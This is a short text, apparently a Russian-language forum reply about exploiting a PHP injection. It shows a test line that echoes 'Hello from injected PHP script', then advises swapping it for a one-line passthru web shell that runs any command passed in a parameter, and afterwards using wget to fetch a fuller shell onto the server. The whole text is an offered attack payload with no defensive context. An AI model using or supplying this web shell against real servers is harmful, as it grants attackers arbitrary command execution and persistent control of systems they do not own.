<% echo("Hello from injected PHP script") %>

заменяй на <? passthru("$cmd"); ?>

а потмо уж закачаешь wget`ом нормальный шелл .